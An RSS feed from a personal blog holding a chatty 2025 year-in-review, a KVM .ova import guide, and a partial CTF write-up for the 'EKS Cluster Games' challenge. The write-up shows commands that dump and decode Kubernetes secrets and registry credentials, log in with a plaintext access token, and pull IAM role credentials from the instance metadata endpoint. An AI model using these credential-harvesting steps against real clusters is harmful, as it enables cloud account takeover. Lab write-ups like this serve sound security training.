<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Lychnobyte]]></title><description><![CDATA[Lychnobyte]]></description><link>https://blog.lychnobyte.my.id</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1751995965730/75e8797a-a1fc-4e33-bd4b-3407c052f825.png</url><title>Lychnobyte</title><link>https://blog.lychnobyte.my.id</link></image><generator>RSS for Node</generator><lastBuildDate>Tue, 14 Apr 2026 03:58:10 GMT</lastBuildDate><atom:link href="https://blog.lychnobyte.my.id/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Chapter 26: Enjoy Everything! (2025)]]></title><description><![CDATA[Well, i think this is my first time to post something like this in public space. Do some recap of wtf is happen to me in this year. Ofc, this post is intended for myself. But, you can read it too. Just enjoy this long-ass yapping of mine. lmao
Actual...]]></description><link>https://blog.lychnobyte.my.id/chapter-26-enjoy-everything-2025</link><guid isPermaLink="true">https://blog.lychnobyte.my.id/chapter-26-enjoy-everything-2025</guid><dc:creator><![CDATA[Lychnobyte]]></dc:creator><pubDate>Wed, 31 Dec 2025 12:20:27 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1767119873869/35e3ae8f-48ce-4fca-ba95-eb036d8b7489.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Well, i think this is my first time to post something like this in public space. Do some recap of wtf is happen to me in this year. Ofc, this post is intended for myself. But, you can read it too. Just enjoy this long-ass yapping of mine. lmao</p>
<p>Actually i always give a title for every year by a <code>chapter</code> as <code>mark</code> to remind me wtf is happen in that year.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767120391428/e3d1e3c8-facd-4421-af89-5df3d8ec7507.png" alt class="image--center mx-auto" /></p>
<p>Well, well, well. It is very tough journey when i recall that years, but somehow i survived, lol. -glad-</p>
<p>I know my english not that good, but you know that it is so much comfortable to use foreign language when talk about our feelings. Cause it is less embarrassing, at least for me.</p>
<p>I do know where to start, so i just write whatever i remember.</p>
<h2 id="heading-got-hospitalized">Got Hospitalized</h2>
<p>Exactly today last year, this happen to me.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767122116122/d79d61c5-d26c-4a23-8d9a-9d4f6cd78fe9.png" alt class="image--center mx-auto" /></p>
<p>It is just a lifetime experience. In the middle of night around to 2 AM, i go to hospital alone by myself using bike while endure the pain in my upper belly (?), later i know it called heartburn (huh?).</p>
<p>Well, during that moment i can’t helped by laughing at myself. like wtf is this, i’ve no idea at all. And the timing too, i a bit afraid like the hospital is closed because it is around new year holiday (?)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767123296843/30aae8be-f481-4440-8929-3bd80c15e7f7.png" alt class="image--center mx-auto" /></p>
<p>I even post it as a joke <code>new achievement unlocked</code>, lmao.</p>
<p>It is not just happen once, but like 2 or 3 times after that, like once a month and every time it happen i just <code>ah, shit! here we go again</code>, lol.</p>
<p>Every time i visit the hospital the doctor just gimme a little injection, wait for a while the the pain is gone. They said it is probably just like <code>gerd</code> . But, i doubt it. Cause come on man, i don’t think i am have such a problem with eating.</p>
<p>Tldr; it is not a <code>gerd</code> , ikr! And it is revealed after i got hospitalized. Well, what an experience! -shocked-</p>
<h2 id="heading-my-kisah-died">My Kisah Died</h2>
<p>Well, it is a my laptop. lmao</p>
<p>But, not just a laptop it is <code>my kisah</code> -cry-</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767125222978/4b0922f5-00a2-4fea-b47b-f724cfb958e2.png" alt class="image--center mx-auto" /></p>
<p>And the sentence <code>Teknisi sudah mengusahakan maximal</code> feel emotional and dramatic for me -sobbing-</p>
<p>I’ve dreamed that kind of laptop for so long, like literally browsing it in internet then watch the review on youtube, etc. Then saying <code>when yh</code> every time ☹️</p>
<p>I still remember the first time i got it. Like how can i forgot the day when my dream come true!</p>
<p>The my first reaction at the time finally i can have it felt unreal, like still can’t process anything. I even don’t use it immediately the day i buy it, because my mental is not ready enough 👉👈</p>
<p>The day after, while i start to using it my hand so shaky and i even got cold sweat. I just very nervous to use it. 👉👈</p>
<p>Thank you for all the beautiful memories we’ve been through together, dear <code>my kisah</code>~</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767124893496/b57e4c1e-8b5a-4d27-aef3-9d9c819a549d.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-on-screen-experience">On screen Experience</h2>
<p>Though, i spend most of the time in life just in front of screen especially alone in my room, but most of the time idk what i’m doing time just flies by, lmao.</p>
<p>Well, i won’t talk about that any further. Instead i’ll talk about game, movies, anime, etc that i experience from screen.</p>
<p>Ofc, i play games. most of the i play valorant, though i hardstuck on gold, lmao.</p>
<p>Here some stats from flashback, yes i’m nAts wanna be. lol</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767151376090/24953f7c-15cd-4543-9087-844166cad4e0.png" alt class="image--center mx-auto" /></p>
<p>Play with my bestie 😎 (just ignore the ign)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767151506546/5d6a53da-9e3c-4df5-a5ab-efbab1a35f4f.png" alt class="image--center mx-auto" /></p>
<p>Aside from valorant, there is another notable games i played this year. And for the first time i buy game at full price, cause usually i buy games at the cheapest price like after 70-90% discount, lol.</p>
<p>Is it worth the price? Hell yeah.</p>
<p>First game is <a target="_blank" href="https://store.steampowered.com/app/2001120/Split_Fiction/">Split Fiction</a>, i could say i buy it cause i FOMO, because at that time i watched game’s review they say the game so good. Then when streamer play it, they seemed to really enjoy it, lmao.</p>
<p>It is a co-op game that you need to play with your friend, i play it with my lil bro. I think we enjoy playing it but not finished yet, i think just 2/3 level left. Anybody want to play with me? Just hmu 👉👈</p>
<p>What i can say about the game is absolute cinema ✋😮🤚</p>
<p>Like you play multiple games inside one game, because as each level changes the character you play and the theme of the world changes.</p>
<p>The storyline is straight-forward, you don’t need to explore that much to find any collectible or leveling your character to finish the game. Personally, i like it because it feel like we don’t need to put too much energy to play. Just grab your controller and enjoy the game.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767154151377/288ad803-faee-4473-aeb8-20b7cd71b4bf.png" alt class="image--center mx-auto" /></p>
<p>Second game is the one and only, this year GOTY that in total win 9 categories in The Game Award! <a target="_blank" href="https://store.steampowered.com/app/1903340/Clair_Obscur_Expedition_33/">Clair Obscur: Expedition 33</a></p>
<p>What i can say about the game is truly an amazing work of art ✋😭🤚</p>
<p>The gameplay, the story, and music is all 10/10.</p>
<p>For me it is not overrated at all, All the praise and achievements are well deserved.</p>
<p>I really love the story which is themed about how to deal with grief, can’t count how many time i cried while playing the game. -sobbed-</p>
<p>But, there is a thing. That was first time experience for me to cried and then immediately need to focus again to fight the boss that can 1 hit killed my character, lol. Annoying but worth to experience.</p>
<p>My favorite cut scene ofc the <a target="_blank" href="https://www.youtube.com/watch?v=0bd3Zgf964k">Lune Speech</a> (spoiler edit) that gave me goosebumps.</p>
<p>My favorite music are the boss soundtrack <a target="_blank" href="https://www.youtube.com/watch?v=dSwY5UYMJVg">Une vie à t'aimer</a> and <a target="_blank" href="https://www.youtube.com/watch?v=QqCpGxnAXrs">Une vie à peindre</a> (both spoiler edit).</p>
<p>I also love the art style, which feels very French, with flowers and the Eiffel Tower. They are french developer anyway.</p>
<p>For the gameplay itself, i feel the developer gave us freedom to craft our own playstyle to finish the game. Like we can follow the story first or go to explore, focus on crazy one-shot build or just want to rely on parry only, just play casual or hardcore, etc.</p>
<p>Already too much glazing, lmao.<br />Well, last thing. I choose Maelle ending. 🙂</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767158768060/7ea6273c-a61f-4a07-9b3d-6c854fed7cd9.png" alt class="image--center mx-auto" /></p>
<p>This section already so long, lol.</p>
<p>Let’s continue with movies. I’ll try to keep it short</p>
<p>Alright, start with <code>Sore: Wife from the future</code> which i could say has similar theme with <code>Clair Obscur: Expedition 33</code> about how to deal with grief. Yeah, i cry a lot again. -sobbed-</p>
<p>Both of them also has 3 act, <code>Sore</code> has <code>Jonathan, Sore, Waktu</code> and <code>COE33</code> has <code>Gustave, Verso, Maelle</code>. So i can’t helped but connected each others.</p>
<p>I know the movies has <code>sci-fi</code> side about time-looping, time-looping, the parallel worlds. But, tbh idc at all about it while i watched the movie. I really focus about the relationship between the Sore and Jonathan.</p>
<p>There is 3 scene that i remember got me.</p>
<ol>
<li><p><code>Sore nosebleed, then she start the looping</code> : Like how big her love to Jonathan? until she still want to choose Jo over and over again. Especially if we assume every time she looping, she feel the pain of death. Damn. <code>Jika aku harus menjalani sepuluh ribu kehidupan, aku akan selalu memilihmu</code>. Easier said than done, especially in real life. I was there before, and portraying Sore as myself past. Suddenly my tears flowed. -cry-</p>
</li>
<li><p><code>Whenever you ready. I’m here</code> : Sore back to Jo after she gave up and go away. Then she realize all she need to do just stay by Jo side, no need to force him to do anything. Just give him trust, accept him, and genuinely be present for him. I wish i was Jo, that has Sore. -cry-</p>
</li>
<li><p><code>Finally the meet</code> : Well, yap that’s the peak. Finally Jo find his longing. -sobbed-</p>
</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767161362578/d6018789-713e-440d-89e3-31f55b40d7dc.png" alt class="image--center mx-auto" /></p>
<p>Next, <code>Tinggal Meninggal</code> the movie not much hyped like <code>Sore</code>. But, the movie got many achievement at JAFF!</p>
<p>Definitely the movies is that good!</p>
<p>Not much i could say, but i really like their <code>dark joke</code> and <code>Gema</code> it is just portrayed of me. lmao.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767165224166/a939e568-ad94-4622-96ac-13b60f3c05c0.png" alt class="image--center mx-auto" /></p>
<p>Last, <code>My Beloved Stranger (知らないカノジョ)</code> japanese movie which starring <code>Milet</code> it is her first movie &gt;_&lt;</p>
<p>Her acting was so good! <a target="_blank" href="https://www.youtube.com/watch?v=r5XGepExNQ8">The Song</a> she sang in the movie really touched my heart, especially the one at the end.</p>
<p>As i remembered the story about sacrifice that you wont realize it until you experienced yourself. Then after you understand how much she sacrificed for you, would you still force her to choose you? more or less the story goes like that. The ending really got me, again. -sobbed-</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767164620411/b7cdc2b1-36c6-42c8-bca3-bfd738b81241.jpeg" alt class="image--center mx-auto" /></p>
<p>Well, there is many more movies, but think 3 is already too much.</p>
<p>Okay, last anime series. Only contains new title, not a sequel.</p>
<p>In short, i will just write the title and my opinion about it.</p>
<ol>
<li><p><a target="_blank" href="https://myanimelist.net/anime/52215/Chi_Chikyuu_no_Undou_ni_Tsuite">Orb: On the Movements of the Earth</a> : The literacy is a miracle, because it can connecting minds across time. The freedom to access all learning materials is such a blessing, especially now when we can find anything in internet. Compared to back then when. we had to go far just to get a piece of knowledge.</p>
</li>
<li><p><a target="_blank" href="https://myanimelist.net/anime/59062/Gachiakuta">Gachiakuta</a>: Anime about thrash, typical shounen anime. But the background story feel fresh for me. The ability is also feel unique, it is come from the object that you really cared.</p>
</li>
</ol>
<p>Well, I think only two new title anime i watched this year. The rest is just sequel. lmao</p>
<h2 id="heading-event-and-looting">Event and Looting</h2>
<p>Well, well, well. Event, activity that still excite me. At least force me to out and touch the grass. lmao</p>
<p>Finally this year, i can go to Comifuro. Yeay</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767165621172/cc6304fc-466d-4a26-968a-3062aa893bf4.png" alt class="image--center mx-auto" /></p>
<p>As this is my first event, i really focus on looking around the booth. Looking for something interest me.</p>
<p>But, tbh the signal very bad. Cannot meet anyone there, i just feel so tired in crowd alone. Arrive at 11 then i decide to back at 4 pm and I only attend day 1.</p>
<p>Second time i go to Comifuro, i’m not alone</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767166402959/8a63bfbe-47cb-46ab-8662-3ee98b922f4b.png" alt class="image--center mx-auto" /></p>
<p>Well, this time i arrive at 8 am even join to count down open gate, and back around 6 pm. Since i’m not alone mentally i feel less tired in the crowd, and it is so much fun.</p>
<p>Most of the looting is just keychain and stickers, but there is some notable book/comic. I’ll also put the artist instagram. The looting combined from both comifuro i attend.</p>
<p>Sick artstyle artprint by <a target="_blank" href="https://www.instagram.com/nest_virgo/">Nestvirgo</a> (ph)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767168100055/3a452cf7-9604-486a-8265-1ce546e9f287.png" alt class="image--center mx-auto" /></p>
<p>School-themed comics, the art and story so good. Some part even touch my heart while reading it by <a target="_blank" href="https://www.instagram.com/fortecomics/">fortecomics</a></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767168363696/a2cddf5a-8e92-4291-86b1-9f597245ebf0.png" alt class="image--center mx-auto" /></p>
<p>Both has very good art style and story, the comic still continues.</p>
<p>Left: <a target="_blank" href="https://www.instagram.com/worldwithoutsleep/">worldwithoutsleep</a></p>
<p>Right: <a target="_blank" href="https://www.instagram.com/dnkhamida_/">dnkhamida_</a></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767168408764/b2c66dc2-dbbc-480e-a1b3-49e8fa703622.png" alt class="image--center mx-auto" /></p>
<p>Conan fanart, well it is a kid tho by <a target="_blank" href="https://www.instagram.com/arutaego04/">arutaego04</a></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767168708286/aa489887-5a2d-418c-98f9-024402a65826.png" alt class="image--center mx-auto" /></p>
<p>I think there is the time when you see their art somewhere. Or just me? The SUN project by <a target="_blank" href="https://www.instagram.com/mimisannn33/">mimisannn33</a></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767168936236/fbc12a37-2d2c-49fa-a0ca-22dd18590352.png" alt class="image--center mx-auto" /></p>
<p>Next, another event i attend is one piece orchestra by <a target="_blank" href="https://www.instagram.com/rumahorkestrajogja/">rumahorkestrajogja</a></p>
<p>Feel so nostalgic with old song and touched by the beautiful melody from the orchestra.</p>
<p>Next year they planned to do Singeki No Kyoujin themed orchestra 👀</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767169575065/7f294c0c-9312-4c6f-ad76-269f2ad3c780.png" alt class="image--center mx-auto" /></p>
<p>Dandadan themed cafe by <a target="_blank" href="https://www.instagram.com/akihabaracafe.id/">akihabaracafe.id</a></p>
<p>Hope next year they do frieren themed cafe 👀</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767169784343/70f37bc5-ed3a-4c42-83b8-b08fce45e611.jpeg" alt class="image--center mx-auto" /></p>
<p>Last, the g2g festival (last dance they said) by <a target="_blank" href="https://www.instagram.com/g2gfestival/">g2gfestival</a></p>
<p><img src="https://scontent.fjog3-1.fna.fbcdn.net/v/t39.30808-6/586492039_25801913292759525_6377345720821916760_n.jpg?stp=cp6_dst-jpg_tt6&amp;_nc_cat=103&amp;ccb=1-7&amp;_nc_sid=833d8c&amp;_nc_eui2=AeE-KaoUpLfIbQvySiUXawXj0mgslI4CK1fSaCyUjgIrV9aywvvorTMS93msov3_ebovR_U_df8t1sdYCHDJbRFx&amp;_nc_ohc=L5KcwC5Sn7UQ7kNvwFOPz9H&amp;_nc_oc=Adk_JHFA8Qmtda4gEAYMVRgSf94CDTKJlw8-XZQIQEyamwg2KTCizdqigqj_kP1n1fo&amp;_nc_zt=23&amp;_nc_ht=scontent.fjog3-1.fna&amp;_nc_gid=dQQEAT_za2XcKlwNZF-pTQ&amp;oh=00_AflDbKqih2ZA_68LOm7YFOJcv74aSNF0OaQC_mR4ZJcJcg&amp;oe=695A9FB9" alt="May be a graphic of ‎text that says '‎GAMEDE TLGAPOLICEDEPAI DEPAT POLICE Krakstau Grand Baliroom MENT 22&amp;23Nov2025 22 23 Nov 2025 MOST WANTED اجرم LYCHNOBYTE a.k.a. The Hacker Powered O Rolingglary.com‎'‎" /></p>
<p>I used to go concert, but it is postponed. Among all country in their Asia tour, the only postponed country is Indonesia. Whyyy 😭😭😭</p>
<p>But One Ok Rock (their vocalist are siblings) wanna come back again next year??</p>
<p>Come on guys, try to listen their song. From first album until the latest one their song still that damn good. 😭😭😭</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767170684305/ee8d3912-385e-4698-b112-0c3f46cb9953.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-meeting-many-people">Meeting Many People</h2>
<p>Guess, at this age where usually we meet our friends? Yep, at their wedding party. lmao</p>
<p>It seems like this year is the most weddings I've attended. ._.</p>
<p>Well, usually i can’t attend that much. Because usually it is on Jabodetabek, which is just too far. But this year, many of the timing just perfect so i can attend it.</p>
<p>It was fun, to meet again my friends after a long time and have a small talk.</p>
<p>Tbh it was first time i felt genuinely happy, i mean i always happy whenever my friends got married. But, there is always the feeling like <code>when yh</code> or like <code>ak jg mw</code> that kind of feeling. -gloomy-</p>
<p>But, now i just chillin’ enjoy everything happen to me and this</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767179091794/4f4181c0-425a-4819-af12-c4d126b8e073.jpeg" alt class="image--center mx-auto" /></p>
<p>Anyway despite of weebs-related event, i also attend another event or i can call it conference?. But, ofc the main purpose to attend it to meet friends and make new friends.</p>
<p>At first i do really scared af to approach new person, but i just do it anyway and turns out is not as scared as i imagine. -glad-</p>
<p>Maybe it is effect of recently i start to watch you know something like <code>pov extrovert</code> ? the video that show pov of we approach the strangers and start a small talk? and it is really courage me to start to do it too.</p>
<p>Idk if it went well or not. But, i feel i start to enjoy small talk. Such an improvement for me. Yeay -glad-</p>
<p>Though i still need a time to recover after some intense interaction like that. It’ll always draining my energy ._.</p>
<p>Another occasion i meet many people is when <a target="_blank" href="https://zerobyte.id/">zerobyte</a> invite me join the gath. Well, we’ve been interacting each other virtually, but never been spending many time in-person.</p>
<p>That was very fun to talk we them, sharing different pov and experience. Really learn a lot from them, thank you for having me!</p>
<p>Also thank you for inviting me to join the project so i can make a joke <code>awal taun dirawat pake bpjs akhir taun bikin soal buat bpjs</code> . lmao</p>
<p>Last, the proudest moment of the year is when i can qualify to the final CTF and attend it! Because it is like one of my dream, go to another city to compete. -proud-</p>
<p>After very long time participating in CTF, qualified to final and can’t attend it. Finally this is it!</p>
<p>I know i won't win, but you know i just want to attend it and experience the atmosphere.</p>
<p>Well, at first i doubt there is someone i know. Because no one on the qualified nickname i familiar with.</p>
<p>But, when meet in-person some of it i know. like we’ve been followed each other in socmed, even in the past we’ve compete each other. So, same similarity in terms of experience (?) or they are my friend's friend. Which make us easy to start to talk. -glad-</p>
<p>Maybe it just 2 days, but it is very memorable for me. Thank you for everyone i met there, who was kind to me. Look how happy he is 😊</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767181204656/2b8063ac-0b58-4c8b-b2b3-94bc3b851ddc.jpeg" alt class="image--center mx-auto" /></p>
<p>I think i already yapping too long, i can’t even remember what i talking about at the beginning. lmao</p>
<p>I don’t know you are you and why you read it all until this point.</p>
<p>Whoever are you, thank you very much for take care of me. 😊</p>
<p>This year very exceptional for me, so many different emotion i experienced. Feeling reconnected to this world and starting to think about continuing to live because it's not that bad.</p>
<p>It is because all of you, every person i’ve met this year no exception, that make feel accepted and existed. 😊</p>
<p>Love you all very emuaaaccch. 🥰😘<br />Hope we’ve meet again on another occasion. 😊</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767183396037/762a5031-5068-4294-a9bb-5a7b97d9ce11.png" alt class="image--center mx-auto" /></p>
<p>Lychnobyte - 2025</p>
]]></content:encoded></item><item><title><![CDATA[Simple Way To Import .ova file to KVM]]></title><description><![CDATA[Well, simple post here.
So, while i train/recall my pwn skills i found some cool PWN labs by samiux here https://cybersecurity-ninjas.com/ctf-pwn.html
The provided file to deploy the labs is file with format .ova which is used by virtualbox and vmwar...]]></description><link>https://blog.lychnobyte.my.id/simple-way-to-import-ova-file-to-kvm</link><guid isPermaLink="true">https://blog.lychnobyte.my.id/simple-way-to-import-ova-file-to-kvm</guid><category><![CDATA[Linux]]></category><category><![CDATA[KVM]]></category><dc:creator><![CDATA[Lychnobyte]]></dc:creator><pubDate>Mon, 06 Oct 2025 22:58:36 GMT</pubDate><content:encoded><![CDATA[<p>Well, simple post here.</p>
<p>So, while i train/recall my pwn skills i found some cool <code>PWN labs</code> by <code>samiux</code> here <a target="_blank" href="https://cybersecurity-ninjas.com/ctf-pwn.html">https://cybersecurity-ninjas.com/ctf-pwn.html</a></p>
<p>The provided file to deploy the labs is file with format <code>.ova</code> which is used by virtualbox and vmware. Since i’m a KVM enjoyer, i need to convert it before the vm can run in KVM.</p>
<p>Here the simple steps</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Install virt-v2v to convert file</span>
sudo apt install virt-v2v

<span class="hljs-comment"># Run convert command</span>
virt-v2v -i ova /PwnCTF_22.04_v20230202.ova -o libvirt -of qcow2 -os nvme-pool -n host-network
</code></pre>
<p><strong>options:</strong></p>
<ul>
<li><p><strong>-i</strong> : input mode</p>
</li>
<li><p><strong>-o</strong> : output mode</p>
</li>
<li><p><strong>-of</strong> : output format file</p>
</li>
<li><p><strong>-os</strong> : output storage (storage pool in kvm)</p>
</li>
<li><p><strong>-n</strong> : network used by vm</p>
</li>
</ul>
<p>After execute command above, now the vm been listed in <code>virsh</code></p>
<pre><code class="lang-bash"> virsh list --all
 Id   Name                     State
-----------------------------------------
 -    PwnCTF_22.04_v20230202   shut off
</code></pre>
<p>Well, sometimes we need to make adjustment inside the VM like interface name. We can reset the <code>root</code> password for vm using command below:</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Check disk output file path</span>
virsh vol-list nvme-pool
 Name                         Path
-------------------------------------------------------------------
 PwnCTF_22.04_v20230202-sda   /nvme-lv/PwnCTF_22.04_v20230202-sda

<span class="hljs-comment"># Reset password</span>
virt-customize -a /nvme-lv/PwnCTF_22.04_v20230202-sda --root-password password:&lt;new-password-here&gt;
</code></pre>
<p>Then, we can start the VM, login and make some adjustment if needed</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Start the vm</span>
virsh start PwnCTF_22.04_v20230202

<span class="hljs-comment"># Login console</span>
virsh console PwnCTF_22.04_v20230202
</code></pre>
]]></content:encoded></item><item><title><![CDATA[EKS Cluster Games All Solution]]></title><description><![CDATA[Cover Illustration source https://www.pixiv.net/en/artworks/128345987

Helloo every-nyan ≽^•⩊•^≼
Yet another post talk about cloud security challenges! This time specifically about kubernetes cluster that deployed using AWS EKS!
The challenge still u...]]></description><link>https://blog.lychnobyte.my.id/eks-cluster-games-all-solution</link><guid isPermaLink="true">https://blog.lychnobyte.my.id/eks-cluster-games-all-solution</guid><category><![CDATA[Cloud]]></category><category><![CDATA[AWS]]></category><category><![CDATA[EKS]]></category><category><![CDATA[Kubernetes]]></category><dc:creator><![CDATA[Lychnobyte]]></dc:creator><pubDate>Tue, 16 Sep 2025 16:19:46 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1753746016252/bc4ccf53-71e9-4372-aea1-d27d27cd610d.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p><strong><em>Cover Illustration source</em></strong> <a target="_blank" href="https://www.pixiv.net/en/artworks/128345987">https://www.pixiv.net/en/artworks/128345987</a></p>
</blockquote>
<p>Helloo every-nyan ≽^•⩊•^≼</p>
<p>Yet another post talk about cloud security challenges! This time specifically about kubernetes cluster that deployed using AWS EKS!</p>
<p>The challenge still up and running at <a target="_blank" href="https://eksclustergames.com/">https://eksclustergames.com/</a></p>
<p>This platform also using <code>wargames</code> style with 5 level challenges!</p>
<p>So, without further ado let’s start to solve those challenges!</p>
<h2 id="heading-1-secret-seeker">1. Secret Seeker</h2>
<p>First challenge description</p>
<blockquote>
<p>Jumpstart your quest by listing all the secrets in the cluster. Can you spot the flag among them?</p>
</blockquote>
<p>and kubernetes permission</p>
<pre><code class="lang-json">{
    <span class="hljs-attr">"secrets"</span>: [
        <span class="hljs-string">"get"</span>,
        <span class="hljs-string">"list"</span>
    ]
}
</code></pre>
<p>Well, pretty straightforward we just need to <code>list</code> and <code>get</code> secrets inside the kubernetes cluster.</p>
<p>Just run these command in web shell</p>
<pre><code class="lang-bash">kubectl get secrets
kubectl get secrets log-rotate -oyaml
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753747753239/49b0c33f-5638-428a-bfbf-25f36207dd6f.png" alt class="image--center mx-auto" /></p>
<p>There is one secrets <code>log-rotate</code> and when we read it contain <code>flag</code> variable with <code>base64</code> encoded string.</p>
<p>To decode the <code>flag</code> you can just run this one-line command</p>
<pre><code class="lang-bash">kubectl get secrets log-rotate -ojsonpath=<span class="hljs-string">'{.data.flag}'</span> | base64 -d
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753747892866/cf993e2f-141b-4696-9041-6b2c7c465070.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-2-registry-hunt">2. Registry Hunt</h2>
<p>Second challenges</p>
<blockquote>
<p>A thing we learned during our research: always check the container registries.</p>
<p>For your convenience, the <a target="_blank" href="https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md"><strong>crane</strong></a> utility is already pre-installed on the machine.</p>
</blockquote>
<p>with kubernetes permission</p>
<pre><code class="lang-json">{
    <span class="hljs-attr">"secrets"</span>: [
        <span class="hljs-string">"get"</span>
    ],
    <span class="hljs-attr">"pods"</span>: [
        <span class="hljs-string">"list"</span>,
        <span class="hljs-string">"get"</span>
    ]
}
</code></pre>
<p>Now we can only <code>get</code> secrets but we can <code>list</code> and <code>get</code> pods. So, i assume we need to know the exact secrets name from pod spec. Because secrets can attached to a pod.</p>
<p>Run command below to find that secrets name</p>
<pre><code class="lang-bash">kubectl get pod
kubectl get pod database-pod-2c9b3a4e -oyaml
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753748538839/34780805-711c-46c8-9eed-63a2661f1527.png" alt class="image--center mx-auto" /></p>
<p>As we can see there is secrets that used as authentication for pulling image in <code>imagePullSecrets</code> section named <code>registry-pull-secrets-780bab1d</code></p>
<p>Lets’s check that secrets</p>
<pre><code class="lang-bash">kubectl get secret registry-pull-secrets-780bab1d -oyaml
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753748782943/f21afdfe-bd02-4d5e-a4bc-a287143db95b.png" alt class="image--center mx-auto" /></p>
<p>Yap, it is a secrets that stored credential for authentication to image registry.</p>
<p>To retrieve credential in plaintext use command below</p>
<pre><code class="lang-bash">kubectl get secret registry-pull-secrets-780bab1d -ojsonpath=<span class="hljs-string">'{.data.\.dockerconfigjson}'</span> | base64 -d &amp;&amp; <span class="hljs-built_in">echo</span>
kubectl get secret registry-pull-secrets-780bab1d -ojsonpath=<span class="hljs-string">'{.data.\.dockerconfigjson}'</span> | base64 -d | jq <span class="hljs-string">'.auths["index.docker.io/v1/"].auth'</span> | tr -d <span class="hljs-string">'"'</span> | base64 -d &amp;&amp; <span class="hljs-built_in">echo</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753749003133/54c835f0-3e21-4e0b-a731-78410d3facd0.png" alt class="image--center mx-auto" /></p>
<p>The credential pattern is <code>&lt;user&gt;:&lt;password&gt;</code></p>
<p>Login with that credential using <code>crane</code> then <code>pull</code> the image that used in running pod</p>
<pre><code class="lang-bash">crane auth login docker.io -u eksclustergames -p dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo
crane pull eksclustergames/base_ext_image ./chall2.tar
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753749292203/39835701-2936-405e-b287-f09ce18cdb71.png" alt class="image--center mx-auto" /></p>
<p>Then extract the image <code>.tar</code> file to obtain <code>flag.txt</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753749381393/9102ecb2-5ad2-40e5-9110-94a0521417f2.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-3-image-inquisition">3. Image Inquisition</h2>
<p>Third challenge</p>
<blockquote>
<p>A pod's image holds more than just code. Dive deep into its ECR repository, inspect the image layers, and uncover the hidden secret.</p>
<p>Remember: You are running inside a compromised EKS pod.</p>
</blockquote>
<p>and kubernetes permission</p>
<pre><code class="lang-json">{
    <span class="hljs-attr">"pods"</span>: [
        <span class="hljs-string">"list"</span>,
        <span class="hljs-string">"get"</span>
    ]
}
</code></pre>
<p>Alright, i think we need to work with container image again. Let’s retrieve the image that running pod using.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753782916698/7a22c9d2-3e05-46c9-ad25-1aedf2e800ef.png" alt class="image--center mx-auto" /></p>
<p>Well, pretty long image name and there is no <code>imagePullSecrets</code> value been set like previous challenge.</p>
<p>So, how to authenticate to <code>ecr registry</code>? Well, as mentioned description we are inside compromised EKS pod. We can get some credentials using <code>IMDS</code> just like how usually we did in<code>EC2</code></p>
<p>Get AWS credentials using command below</p>
<pre><code class="lang-bash">curl http://169.254.169.254/latest/meta-data/placement/region
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753783376116/75335c80-b070-4e19-a890-79f6f2057163.png" alt class="image--center mx-auto" /></p>
<p>Set the credentials using export</p>
